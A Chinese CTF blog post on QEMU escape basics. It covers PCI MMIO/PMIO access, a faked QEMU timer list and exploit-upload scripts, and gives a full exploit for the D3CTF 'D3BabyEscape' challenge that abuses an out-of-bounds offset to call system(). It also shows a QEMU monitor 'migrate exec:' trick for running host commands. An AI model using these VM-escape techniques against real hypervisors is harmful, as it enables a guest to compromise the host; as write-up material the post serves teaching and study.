浅浅学了一下~~😂

whu✌和sky123✌的博客真给力

0x0.一些前置知识

说白了,某些方面和用户态大同小异

粘的raycp✌的 一目了然

 Guest' processes
                      +--------------------+
 Virtual addr space   |                    |
                      +--------------------+
                      |                    |
                      \__   Page Table     \__
                         \                    \
                          |                    |  Guest kernel
                     +----+--------------------+----------------+
 Guest's phy. memory |    |                    |                |
                     +----+--------------------+----------------+
                     |                                          |
                     \__                                        \__
                        \                                          \
                         |             QEMU process                 |
                    +----+------------------------------------------+
 Virtual addr space |    |                                          |
                    +----+------------------------------------------+
                    |                                               |
                     \__                Page Table                   \__
                        \                                               \
                         |                                               |
                    +----+-----------------------------------------------++
 Physical memory    |    |                                               ||
                    +----+-----------------------------------------------++

QEMUTimers 提供了一种在经过一段时间间隔后调用给定例程回调的方法,相关函数和结构如下:

 struct QEMUTimerList {
     QEMUTimer active_timers;
 };
 ​
 struct QEMUTimer {
     int64_t expire_time;        /* in nanoseconds */
     QEMUTimerList *timer_list;
     QEMUTimerCB *cb;
     void *opaque;
     QEMUTimer *next;
     int attributes;
     int scale;
 };
 ​
 struct QEMUTimerListGroup {
     QEMUTimerList *tl[QEMU_CLOCK_MAX];
 }
 ​
 extern QEMUTimerListGroup main_loop_tlg;
 ​
 bool timerlist_run_timers(QEMUTimerList *timer_list)
 {
     ...
         /* remove timer from the list before calling the callback */
         timer_list->active_timers = ts->next;
         ts->next = NULL;
         ts->expire_time = -1;
         cb = ts->cb;
         opaque = ts->opaque;
 ​
         /* run the callback (the timer list can be modified) */
         qemu_mutex_unlock(&timer_list->active_timers_lock);
         cb(opaque);
         qemu_mutex_lock(&timer_list->active_timers_lock);
     ...
 }
 ​
 bool qemu_clock_run_timers(QEMUClockType type)
 {
     return timerlist_run_timers(main_loop_tlg.tl[type]);
 }
 ​
 bool qemu_clock_run_all_timers(void)
 {
     bool progress = false;
     QEMUClockType type;
 ​
     for (type = 0; type < QEMU_CLOCK_MAX; type++) {
         if (qemu_clock_use_for_deadline(type)) {
             progress |= qemu_clock_run_timers(type);
         }
     }
 ​
     return progress;
 }
 ​
 void main_loop_wait(int nonblocking)
 {
     ...
     qemu_clock_run_all_timers();
 }
 ​

某些情况可以考虑修改 main_loop_tlg 实现虚拟机逃逸

由于 main_loop_tlg 位于 qemu 上在指定地址伪造 QEMUTimerList ,QEMUTimer 以及要执行的命令,然后修改 main_loop_tlg 指向伪造的 QEMUTimerList 来执行命令。

0x1.打包&调试

为了方便调试咯😂

 #!/bin/sh
 mkdir ./rootfs
 cd ./rootfs
 cpio -idmv < ../rootfs.cpio or rootfs.img
  
 cp ../exp.c ./root
 gcc -o ./root/exp -static ./root/exp.c
  
 find . | cpio -o --format=newc > ../rootfs.cpio
  
 cd ..
 rm -rf ./rootfs

ps -aux | grep qemu来获得进程号。

Docker内

缺少相关依赖和版本最好怎么办。。什么?你有所有版本的机子 那就跳过吧😂

 sudo docker run -it --name ubuntu18 --privileged --cap-add=SYS_PTRACE --security-opt seccomp=unconfined --device=/dev/kvm:/dev/kvm ubuntu18
 -v ~/Desktop/CTF:/CTF \

 sudo docker exec -it qemu-container /bin/bash
 cd /root
 chmod +x launch.sh
 ./launch.sh &  # 在后台运行 launch.sh 脚本
 ​
 # 假设你需要调试的进程是 `qemu-system-x86_64`
 pidof qemu-system-x86_64  # 获取 QEMU 的进程 ID
 gdbserver :1234 --attach <pid>  # 将 gdbserver 附加到 QEMU 进程
 ​

打包好再下个gdbserver调试 简单轻松+愉快

断点如下: b strng_pmio_write b strng_pmio_read b strng_mmio_write b strng_pmio_read 然后在虚拟机中执行sudo ./exp执行exp,就可以愉快的调试了。

下断点问题

在gdb内下断点,就可以愉快的调试了。下面会有介绍

应该是因为设置断点的地址只是个偏移量,如果程序开启PIE,就不能成功插入

解决办法:重新附加到进程即可,或者获得程序基址计算断点的真实地址

 gdb>source /home/sekiro18/pwndbg/gdbinit.py
 ​
 pwndbg> detach
 pwndbg> attach [pid]

0x2.qemu中的地址

查看设备

lspci

xx:yy:z的格式为总线:设备:功能的格式。

 # lspci
 00:01.0 Class 0601: 8086:7000
 00:04.0 Class 00ff: dead:beef
 00:00.0 Class 0600: 8086:1237
 00:01.3 Class 0680: 8086:7113
 00:03.0 Class 0200: 8086:100e
 00:01.1 Class 0101: 8086:7010
 00:02.0 Class 0300: 1234:1111

确定内容为 00:04.0 这一行设备,尝试访问其对应的资源

 ls /sys/devices/pci0000\:00/0000\:00\:04.0/
 ari_enabled               firmware_node             resource
 broken_parity_status      irq                       resource0
 class                     local_cpulist             revision
 config                    local_cpus                subsystem
 consistent_dma_mask_bits  modalias                  subsystem_device
 d3cold_allowed            msi_bus                   subsystem_vendor
 device                    numa_node                 uevent
 dma_mask_bits             power                     vendor
 driver_override           remove
 enable                    rescan
 ​

查看mmio pmio base

 / # cat /sys/devices/pci0000\:00/0000\:00\:03.0/res*
 cat: can't open '/sys/devices/pci0000:00/0000:00:03.0/rescan': Permission denied
 0x00000000febf1000 0x00000000febf17ff 0x0000000000040200
 0x000000000000c040 0x000000000000c05f 0x0000000000040101 -->>>第一个字长为pmio_base
 0x0000000000000000 0x0000000000000000 0x0000000000000000
 0x0000000000000000 0x0000000000000000 0x0000000000000000
 0x0000000000000000 0x0000000000000000 0x0000000000000000
 0x0000000000000000 0x0000000000000000 0x0000000000000000
 0x0000000000000000 0x0000000000000000 0x0000000000000000
 0x0000000000000000 0x0000000000000000 0x0000000000000000
 0x0000000000000000 0x0000000000000000 0x0000000000000000
 0x0000000000000000 0x0000000000000000 0x0000000000000000
 0x0000000000000000 0x0000000000000000 0x0000000000000000
 0x0000000000000000 0x0000000000000000 0x0000000000000000
 0x0000000000000000 0x0000000000000000 0x0000000000000000
 ​

地址

可以在qemu进程的maps文件下查看,sudo cat /proc/pid/maps

image.png

找到此设备的初始化函数(FastCP_class_init),并且设置对应变量的类型为 PCIDeviceClass

image.png

根据其中的 class_id 赋值就可以得知,对应的 Class 应该是 00ff,根据对 vendor_id 赋值可知,对应的 Vendor ID 是 dead 、 Device ID 是 beef(这里由于程序的优化,把结构中两个连续的二字节的变量优化成一次赋值)

对照着 lspci 的结果,我们就可以得知 FastCP 对应的 PCI 设备条目是

1

00:04.0 Class 00ff: dead:beef

得知其条目后我们可以访问该目录(/sys/devices/pci0000:00/0000:00:04.0/)中对应的文件资源来得到我们需要的数据

  • resource 文件:此文件包含其相应空间的数据,三列数据分别代表 start-addressend-addressflags。其中 resource0 对应 MMIO 空间,对应的是下方的第一行;resource1 对应 PMIO 空间,对应的是下方的第二行。这个文件可以便于我们在用户空间编程访问,在 QEMU 中访问 PCI 设备的 I/O 空间 中还会提及。

     # cat /sys/devices/pci0000:00/0000:00:04.0/resource
     0x00000000febf1000 0x00000000febf10ff 0x0000000000040200
     0x000000000000c000 0x000000000000c0ff 0x0000000000040101
     0x0000000000000000 0x0000000000000000 0x0000000000000000
     0x0000000000000000 0x0000000000000000 0x0000000000000000
     0x0000000000000000 0x0000000000000000 0x0000000000000000
     0x0000000000000000 0x0000000000000000 0x0000000000000000
     0x0000000000000000 0x0000000000000000 0x0000000000000000
     0x0000000000000000 0x0000000000000000 0x0000000000000000
     0x0000000000000000 0x0000000000000000 0x0000000000000000
     0x0000000000000000 0x0000000000000000 0x0000000000000000
     0x0000000000000000 0x0000000000000000 0x0000000000000000
     0x0000000000000000 0x0000000000000000 0x0000000000000000
     0x0000000000000000 0x0000000000000000 0x0000000000000000

0x3.QEMU中的PCI

在用户态访问 mmio 空间

通过映射 resource0 文件来实现,函数中的参数类型选择 uint32_t 还是 uint64_t 可以根据设备代码中限制的要求来确定,示例代码如下:

 #include <assert.h>
 #include <fcntl.h>
 #include <inttypes.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <sys/mman.h>
 #include <sys/types.h>
 #include <unistd.h>
 #include<sys/io.h>
 ​
 ​
void * mmio_mem;
 ​
 void mmio_write(uint32_t addr, uint32_t value)
 {
     *((uint32_t*)(mmio_mem + addr)) = value;
 }
 ​
 uint32_t mmio_read(uint32_t addr)
 {
     return *((uint32_t*)(mmio_mem + addr));
 }
 ​
{
        int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR|O_SYNC);
        if (mmio_fd < 0) perror("[X] open mmio"), exit(EXIT_FAILURE);
 
        mmio_mem = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, mmio_fd, 0);
        if (mmio_mem < 0) perror("[X] mmap mmio"), exit(EXIT_FAILURE);
 
        if (mlock(mmio_mem, 0x1000) == -1) perror("[X] mlock mmio"), exit(EXIT_FAILURE);
}

除了这种方式,还可以直接使用 /dev/mem 文件,映射物理内存。而 mmio 空间的物理内存地址可以由 config 或者 resource 文件得到。

 void *mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, open("/dev/mem", O_RDWR), 0xfebf1000);
在内核态中访问 mmio 空间

示例代码如下:

 #include <asm/io.h>
 #include <linux/ioport.h>
 ​
 long addr=ioremap(ioaddr,iomemsize);
 readb(addr);
 readw(addr);
 readl(addr);
 readq(addr);//qwords=8 btyes
 ​
 writeb(val,addr);
 writew(val,addr);
 writel(val,addr);
 writeq(val,addr);
 iounmap(addr);

QEMU 中访问 PCI 设备的 PMIO 空间

根据上文所说,直接通过 in 和 out 指令就可以访问 I/O memory(outb/inb, outw/inw, outl/inl)

但是使用这些函数的前提是要让程序有访问端口的权限:

  • 在 0x000-0x3ff 之间的端口,可以使用 ioperm(from, num, turn_on)

  • 对于 0x3ff 以上的端口,可以使用 iopl(3),使程序可以访问所有端口

示例代码:

 #include <sys/io.h>
 uint32_t pmio_base = 0xc050;
 ​
 uint32_t pmio_write(uint32_t addr, uint32_t value)
 {
     outl(value,addr);
 }
 ​
 uint32_t pmio_read(uint32_t addr)
 {
     return (uint32_t)inl(addr);
 }
 ​
 int main(int argc, char *argv[])
 {
 ​
     // Open and map I/O memory for the strng device
     if (iopl(3) !=0 )
         die("I/O permission is not enough");
         pmio_write(pmio_base+0,0);
     pmio_write(pmio_base+4,1);
  
 }

代码中的 pmio_base 的位置可以通过查看设备的 BAR 内容来确定

在内核态访问 PMIO 操作是和用户态类似的,区别在于内核态不用申请权限、头文件需要使用以下两个。

 #include <asm/io.h> 
 #include <linux/ioport.h>

0x4.远程执行

远程执行需要考虑的就是如何上传 EXP,这里提供两种方式,适用于不同的环境(如果是普通用户权限,修改代码中的 cmd 为 “$ “)

上传脚本 1(一次性发送全部数据)

 #!/usr/bin/env python
 # -*- coding: utf-8 -*-
 from pwn import *
 import os
 ​
 # context.log_level = 'debug'
 cmd = '# '
 ​
 ​
 def exploit(r):
     r.sendlineafter(cmd, 'stty -echo')
     os.system('musl-gcc  -static -O2 ./poc/exp.c -o ./poc/exp')
     os.system('gzip -c ./poc/exp > ./poc/exp.gz')
     r.sendlineafter(cmd, 'cat <<EOF > exp.gz.b64')
     r.sendline((read('./poc/exp.gz')).encode('base64'))
     r.sendline('EOF')
     r.sendlineafter(cmd, 'base64 -d exp.gz.b64 > exp.gz')
     r.sendlineafter(cmd, 'gunzip ./exp.gz')
     r.sendlineafter(cmd, 'chmod +x ./exp')
     r.sendlineafter(cmd, './exp')
     r.interactive()
 ​
 ​
 # p = process('./startvm.sh', shell=True)
 p = remote('nc.eonew.cn',10100)
 ​
 exploit(p)

上传脚本 2(分段传输)

 #coding:utf8
 from pwn import *
 import base64
 context.log_level = 'debug'
 os.system("musl-gcc 1.c -o exp --static")
 sh = remote('127.0.0.1',5555)
  
 f = open('./exp','rb')
 content = f.read()
 total = len(content)
 f.close()
 per_length = 0x200;
 sh.sendlineafter('# ','touch /tmp/exploit')
 for i in range(0,total,per_length):
    bstr = base64.b64encode(content[i:i+per_length])
    sh.sendlineafter('# ','echo {} | base64 -d >> /tmp/exploit'.format(bstr))
 if total - i > 0:
    bstr = base64.b64encode(content[total-i:total])
    sh.sendlineafter('# ','echo {} | base64 -d >> /tmp/exploit'.format(bstr))
  
 sh.sendlineafter('# ','chmod +x /tmp/exploit')
 sh.sendlineafter('# ','/tmp/exploit')
 sh.interactive()

0x5.一些板子

 void err_exit(char *msg){
     printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
     sleep(5);
     exit(EXIT_FAILURE);
 }
  
 void info(char *msg){
     printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
 }
  
 void hexx(char *msg, size_t value){
     printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
 }
  
 void binary_dump(char *desc, void *addr, int len) {
     uint64_t *buf64 = (uint64_t *) addr;
     uint8_t *buf8 = (uint8_t *) addr;
     if (desc != NULL) {
         printf("\033[33m[*] %s:\n\033[0m", desc);
     }
     for (int i = 0; i < len / 8; i += 4) {
         printf("  %04x", i * 8);
         for (int j = 0; j < 4; j++) {
             i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
         }
         printf("   ");
         for (int j = 0; j < 32 && j + i * 8 < len; j++) {
             printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
         }
         puts("");
     }
 }

0x6.内存操作相关

  • 内存操作相关 dma_memory_read & dma_memory_write dma_memory_read 和 dma_memory_write 定义如下:

     static inline int dma_memory_read(AddressSpace *as, dma_addr_t addr, void *buf, dma_addr_t len)
     static inline int dma_memory_write(AddressSpace *as, dma_addr_t addr, const void *buf, dma_addr_t len)

dma_memory_read 是将 addr 处的数据复制到 buf 中,dma_memory_write 是将 buf 处的数据复制到 addr 中。其中 addr 是虚拟机中的物理地址。

在QEMU中,如果使用 dma_memory_write 函数向内存地址写入数据,那么如果该地址所在的内存区域已经被映射到了 MemoryRegion 中,则会调用 MemoryRegionOps 中定义的相应函数,从而执行内存读写操作。

如果传入的 addr 参数是 PMIO 或 MMIO 内存的地址,则可能会被映射到一个 MemoryRegion 中,这取决于在 QEMU 中是否已经为该地址空间注册了相应的 MemoryRegion 。

如果该地址空间已经被映射到了一个 MemoryRegion 中,那么在调用 dma_memory_write 函数时,将会通过内存查找机制找到对应的 MemoryRegion ,并调用其中定义的相应函数来执行内存读写操作。

如果该地址空间没有被映射到一个 MemoryRegion 中,那么在调用 dma_memory_write 函数时,将会直接向该地址写入数据,而不会调用 MemoryRegionOps 中定义的函数。

cpu_physical_memory_rw 函数功能:用于读写物理内存,是 QEMU 中用于直接访问物理内存的函数之一。 函数定义:

 void __fastcall cpu_physical_memory_rw(hwaddr addr, void *buf, hwaddr len, bool is_write)

函数参数:

addr:要读写的物理地址 buf:指向数据缓冲区的指针 len:要读写的数据长度 is_write:标识是否进行写操作,1表示写操作,0表示读操作。 函数返回值:返回实际读取或写入的字节数。

函数说明:在 QEMU 中,物理内存可以通过多种方式进行访问,例如直接物理内存映射、I/O 端口访问、MMIO 和 PMIO 等。cpu_physical_memory_rw 函数用于直接读写物理内存,而不是通过 I/O 端口或 MMIO 进行访问。

具体来说,当 is_write 参数为 0 时,该函数执行读操作,将从 addr 指定的物理地址开始读取 len 个字节的数据,并将其存储到 buf 指向的内存缓冲区中。当 is_write 参数为 1 时,该函数执行写操作,将 buf 指向的内存缓冲区中的数据写入到 addr 指定的物理地址开始的内存中。

需要注意的是,该函数只能读写已经被 QEMU 映射的物理内存。如果要访问还没有被 QEMU 映射的物理内存,需要使用其他的机制来映射物理内存,例如使用 memory_region_init_ram 函数创建一个新的内存区域。

地址转化

 uint64_t gva_to_gpa(void* addr)
 {
     uint64_t page;
     int fd = open("/proc/self/pagemap", O_RDONLY);
     if (fd < 0) puts("[X] open for pagemap"), exit(EXIT_FAILURE);
     lseek(fd, ((uint64_t)addr >> 12 << 3), 0);
     read(fd, &page, 8);
     return ((page & ((1ULL << 55) - 1)) << 12) | ((uint64_t)addr & ((1ULL << 12) - 1));
 }
 ​
         char * buf = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
         memset(buf, 0, 0x1000);
         mlock(buf, 0x1000);
         uint64_t gpa = gva_to_gpa(buf);
         printf("[+] gpa: %#p\n", gpa);
 ​
 ​

0x7题目

好多啊~~~~有空慢慢补😀。。。

补个今年的

清朝老题看我不如看🐂🐂

D3ctf D3BabyEscape

拖进ida

搜索函数

两眼一黑

好好好 去符号表ex🐺是吧😂 那我真被恶心到了

接下来看一下launch.sh

#!/bin/sh
./qemu-system-x86_64 \
-L ../pc-bios/ \
-m 128M \
-kernel vmlinuz \
-initrd rootfs.img \
-smp 1 \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-monitor /dev/null \
-device l0dev

得到设备名l0dev,依此找到对应的四个函数

结合ida和gdb以及最重要的🐺の意志修复一下结构体如下:

00000000 l0devState      struc ; (sizeof=0xD50, mappedto_113)
00000000 field_0         db 2560 dup(?)          ; string(C)
00000A00 offset          db 4 dup(?)             ; string(C)
00000A04 field_A04       db 560 dup(?)           ; string(C)
00000C34 cnt             db 256 dup(?)           ; string(C)
00000D34                 db ? ; undefined
00000D35                 db ? ; undefined
00000D36                 db ? ; undefined
00000D37                 db ? ; undefined
00000D38 srand           db 8 dup(?)             ; string(C)
00000D40 rand            db 8 dup(?)             ; string(C)
00000D48 randr           db 8 dup(?)             ; string(C)
00000D50 l0devState      ends

接下来就简单很多了

虽然读写都有size检查

__int64 __fastcall l0dev_mmio_read(const char ****a1, unsigned __int64 addr, unsigned int size)
{
  __int64 dest; // [rsp+30h] [rbp-20h] BYREF
  l0devState *v6; // [rsp+38h] [rbp-18h]
  unsigned __int64 v7; // [rsp+40h] [rbp-10h]
  unsigned __int64 v8; // [rsp+48h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  v6 = (l0devState *)sub_7F810F(
                       a1,
                       (__int64)"l0dev",
                       (__int64)"../qemu-7.0.0/hw/misc/l0dev.c",
                       0x52u,
                       (__int64)"l0dev_mmio_read");
  dest = -1LL;
  v7 = addr >> 3;
  if ( size > 8 )
    return dest;
  if ( 8 * v7 + size <= 0x100 )
    memcpy(&dest, &v6->cnt[(unsigned int)(*(_DWORD *)v6->offset + addr)], size);					// offset ,whatcanisay😂
  return dest;
}
void *__fastcall l0dev_pmio_write(const char ****a1, unsigned __int64 addr, __int64 value, int size)
{
  void *result; // rax
  _DWORD n[3]; // [rsp+4h] [rbp-3Ch] BYREF
  unsigned __int64 addrrrrr; // [rsp+10h] [rbp-30h]
  const char ****v7; // [rsp+18h] [rbp-28h]
  int v8; // [rsp+2Ch] [rbp-14h]
  l0devState *base; // [rsp+30h] [rbp-10h]
  unsigned __int64 v10; // [rsp+38h] [rbp-8h]

  v7 = a1;
  addrrrrr = addr;
  *(_QWORD *)&n[1] = value;
  n[0] = size;
  base = (l0devState *)sub_7F810F(
                         a1,
                         (__int64)"l0dev",
                         (__int64)"../qemu-7.0.0/hw/misc/l0dev.c",
                         0xADu,
                         (__int64)"l0dev_pmio_write");
  if ( strrrbuf )
    return memcpy(&base->cnt[(unsigned int)(*(_DWORD *)base->offset + addrrrrr)], &n[1], n[0]);
  result = (void *)(addrrrrr >> 3);
  v10 = addrrrrr >> 3;
  if ( n[0] <= 8u )
  {
    result = (void *)(8 * v10 + n[0]);
    if ( (unsigned __int64)result <= 0x100 )
    {
      v8 = addrrrrr;
      return memcpy(&base->cnt[(unsigned int)addrrrrr], &n[1], n[0]);
    }
  }
  return result;
}

但offset可以被刻意的设置来实现越界读写,那么接下来就很简单了

在设置offset的mmio_write中去修改call的内容

  v7 = (*(int (__fastcall **)(_QWORD *))v8->randr)(n_4) % 0x100;

执行system 实现escape

exp

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
 
void * mmio_mem;
size_t pmio_mem = 0xc000;
 
void mmio_init()
{
        int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);
        if (mmio_fd < 0) perror("[X] open mmio"), exit(EXIT_FAILURE);
 
        mmio_mem = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, mmio_fd, 0);
        if (mmio_mem < 0) perror("[X] mmap mmio"), exit(EXIT_FAILURE);
 
        if (mlock(mmio_mem, 0x1000) == -1) perror("[X] mlock mmio"), exit(EXIT_FAILURE);
}
 
uint64_t mmio_read(uint64_t offset)
{
        return *(uint64_t*)(mmio_mem + offset);
}
 
void mmio_write(uint64_t offset, uint64_t value)
{
        *(uint64_t*)(mmio_mem + offset) = value;
}
 
void pmio_init()
{
        if (iopl(3) == -1) perror("[X] iopl"), exit(EXIT_FAILURE);
}
 
uint64_t pmio_read(uint64_t offset)
{
        return inl(pmio_mem + offset);
}
 
void pmio_write(uint64_t offset, uint64_t value)
{
        outl(value, pmio_mem + offset);
}
int main(int argc, char** argv, char** envp){
    mmio_init();
    pmio_init();
    pmio_write(0x14,0x29a);
    //pmio_write(0x10,0x41);


    mmio_write(0x80,0x100);
    uint64_t rand=mmio_read(0xc);
    printf("[+] rand => %#llx\n", rand);
    uint64_t system=rand+(0x715a8ee50d70-0x715a8ee46760);
    printf("[+] system => %#llx\n", system);
    uint64_t a=pmio_read(0x14);

    
    pmio_write(0x14,system);
    //0x67616C6620746163 cat flag
    mmio_write(0x40,0x6873);
    return 0;
}

0x18.🤡

启动项如果没有-monitor /dev/null的话

首先ctrl+a 然后输入c回车之后即可进入monitor模式,然后就可以为所欲为了,可以用migrate来执行命令读取flag

 migrate "exec:cat flag 1>&2"

参考

Qemu 逃逸基础知识_qemu io口-CSDN博客

qemu 逃逸_XiaozaYa的博客-CSDN博客


重生之会pwnのsekiro